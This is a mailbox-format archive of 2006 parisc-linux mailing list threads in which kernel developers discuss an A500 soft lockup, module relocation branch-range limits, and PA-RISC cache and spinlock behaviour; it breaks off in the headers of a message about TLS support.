X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A21FD7D677
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 12:01:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13585-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 12:01:54 -0600 (MDT)
Original-Received: from smtp4-g19.free.fr (smtp4-g19.free.fr [212.27.42.30])
	by free.linux.hp.com (Postfix) with ESMTP id 8D99B7D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 12:01:54 -0600 (MDT)
Original-Received: from mail.zigoo.net (trust.slashdirt.org [82.228.130.181])
	by smtp4-g19.free.fr (Postfix) with ESMTP id 7433354B49
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 20:01:53 +0200 (CEST)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 5D79533F31; Mon,  5 Jun 2006 20:01:52 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on Tatooine.r3z0
X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,BAYES_00 
	autolearn=ham version=3.1.0
Original-Received: from localhost (Alucard.r3z0 [192.168.69.14])
	by mail.zigoo.net (Postfix) with ESMTP id 4C0CA33D9A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 20:01:40 +0200 (CEST)
X-Mailer: Sylpheed-Claws 2.1.0 (GTK+ 2.8.16; powerpc-unknown-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kEO9fBQEYW0+truGbmZp1yl0amthc9uq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23726

Hi pa-ckers,

My a500 died last night, leaving nothing but this on the console:
http://www.pateam.org/archive/dumps/softlockupa500crash.txt

Don't have much more data. The box wasn't doing anything special: it was
idling...

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A500 died - 2.6.17-rc5-pa3
Date: Mon, 5 Jun 2006 14:28:59 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200606051828.k55ISxpi005013@hiauly1.hia.nrc.ca>
References: <20060605200138.47c90c1d@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624102 19836 80.91.229.3 (22 Nov 2014 02:41:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2006 18:29:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 05 Jun 2006 20:29:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1EC17D699;
	Mon,  5 Jun 2006 12:29:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14211-04; Mon, 5 Jun 2006 12:29:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75C6D7D696;
	Mon,  5 Jun 2006 12:29:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C39197D693
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 12:29:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14016-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 12:29:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AACC87D692
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 12:29:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k55ISxdS005014;
	Mon, 5 Jun 2006 14:28:59 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k55ISxpi005013;
	Mon, 5 Jun 2006 14:28:59 -0400 (EDT)
In-Reply-To: <20060605200138.47c90c1d@localhost> from "Thibaut VARENE" at Jun
	5, 2006 08:01:38 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wU+yDcxIQEVs4OjDZnVpw+lKNzg2NcIZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23727

> My a500 died last night, leaving nothing but this on the console:
> http://www.pateam.org/archive/dumps/softlockupa500crash.txt

Same error as Joel reported a few months ago on n4k.  He can reproduce
it running a stress test with a few days of running.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <varenet@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Tue, 6 Jun 2006 14:51:47 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <7d01f9f00606060551n2aabd3e9p908745991df33a2f@mail.gmail.com>
References: <200606052020.52908.kmh@sonic.net>
	<200606060349.k563n4ST023145@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624102 19839 80.91.229.3 (22 Nov 2014 02:41:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2006 12:51:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 06 Jun 2006 14:51:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 90D937D6E5;
	Tue,  6 Jun 2006 06:51:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24209-06; Tue, 6 Jun 2006 06:51:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4D627D6E7;
	Tue,  6 Jun 2006 06:51:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17A5D7D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jun 2006 06:51:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24209-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Jun 2006 06:51:48 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.192])
	by free.linux.hp.com (Postfix) with ESMTP id 0F0E97D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jun 2006 06:51:48 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id l8so1284003nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 06 Jun 2006 05:51:47 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=lmQw1WZEiXXaRqMqG5QKyJjJFqNp2X00jEL2CvOTzvThDebH5PPpgqWk2E8dEd6r0evs3zn2RpnLMhTYSew2Gbt4jIihlrYB1q2w94seGLEQgWfFpKEFdgLplmc6S28SIC6HoktpQkZnz9Ro2snMqQRyxuUtkgJUZRywHenKEDs=
Original-Received: by 10.36.101.17 with SMTP id y17mr7896238nzb;
	Tue, 06 Jun 2006 05:51:47 -0700 (PDT)
Original-Received: by 10.36.247.36 with HTTP; Tue, 6 Jun 2006 05:51:47 -0700 (PDT)
In-Reply-To: <200606060349.k563n4ST023145@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Pw/kINAIa0Aovr6aejEzLb83Njh6dI6P
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23728

On 6/6/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > Looking over your earlier reply, you indicated that the module must be=20
> > quite "large" - do you mean file size of the .ko file?
> > Because that is way under the 8MB you mentioned - the file is around 200kB =
> > in=20
> > size...
>
> I wonder if that implies a bug a bug in the kernel loader.  I could
> see a problem with PCREL17F relocations with files around 200kB.
> These are used with the PA 1.x "bl" instruction.  The range for
> "bl" instructions is about +/- 262kB.  The range for the 22F "b,l"
> instruction is 32 times larger.

A number of kernel modules fail to load nowadays on parisc. That
includes xfs, netfilter, ipv6... Some are known bloated big ones, but
others are quite surprising. In any case that's clearly a problem we
want to fix at some point.

I remember Randolph saying that might indeed be a kernel loader
issue... Randolph, any thought?

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A500 died - 2.6.17-rc5-pa3
Date: Tue,  6 Jun 2006 18:44:39 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <J0G6IF$8E8196C5ECDBEDBAB9061C5B2476E27F@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624102 19841 80.91.229.3 (22 Nov 2014 02:41:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:42 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "T-Bone" <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2006 16:44:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 06 Jun 2006 18:44:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C59717D6D0;
	Tue,  6 Jun 2006 10:44:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26157-09; Tue, 6 Jun 2006 10:44:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6213D7D6D2;
	Tue,  6 Jun 2006 10:44:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2721F7D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jun 2006 10:44:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26319-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Jun 2006 10:44:46 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id BA34C7D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jun 2006 10:44:45 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id k56Gico16137; 
	Tue, 6 Jun 2006 18:44:38 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PYO8fKYQYW0+truGbmZp6gt0amthc5sH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23729

> On 6/5/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > > My a500 died last night, leaving nothing but this on the console:
> > > http://www.pateam.org/archive/dumps/softlockupa500crash.txt
> >
> > Same error as Joel reported a few months ago on n4k.  He can reproduc=
e
> > it running a stress test with a few days of running.
> 
> interestingly, i've been running LTP and had a few 'genload' processes
> left running that I killed in the day preceding the crash...
> 
mmm, not sure but seems related also to this:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2004-November/02528=
6.html>
[snip]
[<000000001016a910>] update_process_times+0x50/0x90 
[<00000000101269b8>] smp_do_timer+0x78/0x80 
[<000000001011b120>] timer_interrupt+0xd8/0x2f0 
[<000000001011bed8>] do_irq+0xd8/0x1e8 
[<000000001011c0c8>] do_cpu_irq_mask+0xe0/0x150 
[<0000000010107074>] intr_return+0x0/0x24 
[snip]

and related threads (next month too)

No?


Joel
=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devenez au=
jourd'hui Scarlet One grace a un client existant de Scarlet, vous recevez=
 tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur http:/=
/www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Wed, 7 Jun 2006 07:25:43 -0500
Lines: 83
Approved: news@gmane.org
Message-ID: <200606070725.43473.mszick@morethan.org>
References: <200606070409.k5749BK4009914@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624103 19847 80.91.229.3 (22 Nov 2014 02:41:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jun 2006 12:25:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 07 Jun 2006 14:25:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 495057D707;
	Wed,  7 Jun 2006 06:25:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01425-08; Wed, 7 Jun 2006 06:25:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47D4F7D703;
	Wed,  7 Jun 2006 06:25:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41F517D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jun 2006 06:25:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01425-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Jun 2006 06:25:47 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id C6D2F7D6FC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jun 2006 06:25:46 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k57CPwqQ020623
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Jun 2006 05:25:58 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.76.18] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id UM500RB2
	authenticated by SMTP; Wed, 07 Jun 2006 05:25:57 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200606070409.k5749BK4009914@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4PO1cHwgTXs9vqyRbmQ5hY9KRzdyMkNJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23730

On Tue June 6 2006 23:09, John David Anglin wrote:
> 
> There are some subtle cache issues in all this.  I believe that
> machines using the PA7200 through to the PA8700 only utilize an
> L1 cache, but it has an assist buffer.  It appears using the ",sl"
> completer bypasses the L1 cache.  Michael Zick thought using this
> to reset the lock and in lock tests was a good idea, but think
> it's better to use the L1.  The effect of ",sl" on cacheline states
> is rather poorly document.  Michael has looked at some of HP's
> patents and a bunch of other papers, but I'm not convinced.  The
> PDC_CACHE command may be able to change the coherency state and
> write-back/write-through state of the data caches on some machines.
>

I suspect that the problem is more subtle than our testing.
My mind is still spinning on how to write a good test.
Working only with public documents leaves more than one gray area.
 
> The cache design was changed on the PA8800 and PA8900.  The L1
> is now on-chip and there is a large L2.  The cacheline length
> also increased from 64 to 128 bytes.  These changes could be
> part of the reason linux still doesn't run on these machines.
> 

There are two other possibilities with the dual-core processors;

1) The on-chip caches are _publicly_ documented to not do cache-line
passing internally.  Cache-lines are still passed over the external
buss.  This may be a gray area in the public documents.

2) The "old school" (prior to pa8800/pa8900) machines could rely on
the buss timing to guarantee that coherency arbitration always won
the race with buss arbitration.
The new runway buss is running DDR (double data rate) with both edges
of the clock active.  The overall effect of this change is another
gray area in the public documents.

> 
> Joel ran a test kernel with a patch to align statically allocated
> locks.  It might have run a bit longer than average but there was
> still a softlockup after a few days.  So, I don't think the lockup
> is due to the spinlock design per say, although I could easily
> be wrong.  I think it's more likely to be something to do with
> interrupt handling.  This is suggested by the stack traces which
> often seem to occur in the interrupt return path.
> 

There may well be more than one subtle failure involved.  
It may not be a single point (spinlocks) failure.

> I've looked at the locking in hpux a bit.  As far as I can tell,
> the kernel never really spins.  It has code to do pre-arbitration
> and keeps track of tasks and priorities.  When a lock is released,
> the code calls into suwaiters to see if the lock should be handed
> over to another task or released.  When we just spin, we are relying
> on the bus arbitration to select a winner.  So, when we have a
> highly contended lock, it might be  possible for a cpu to get locked
> out for sufficient time to cause a softlockup.
> 

I never went back to correct the state tables in the document I worked
up to match the most recent code snippets...

I will fix that and then post a link on this list.

Right or wrong - that document gives us the ground work for lock passing
and lock failure recovery without ever having seen HPUX.

I can see where gains could be made in the 4 or more processor case, but
not anything that would help Joel's 2 processor machine.

I still think it will require a good test protocol to find this problem
and I am still stuck on finding a good test protocol.

> Dave

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Close to mainline for hppa-linux TLS.
Date: Tue, 6 Jun 2006 21:20:51 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <119aab440606061820t49add736u6b48f6c1919a5ef6@mail.gmail.com>
References: <119aab440605260729m1fad24ccta84a2ada06c82c7a@mail.gmail.com>
	<1148784620.5626.0.camel@localhost.localdomain>
	<119aab440605290841p284b297eo85f7031afbca421d@mail.gmail.com>
	<200606050449.43079.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624103 19856 80.91.229.3 (22 Nov 2014 02:41:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
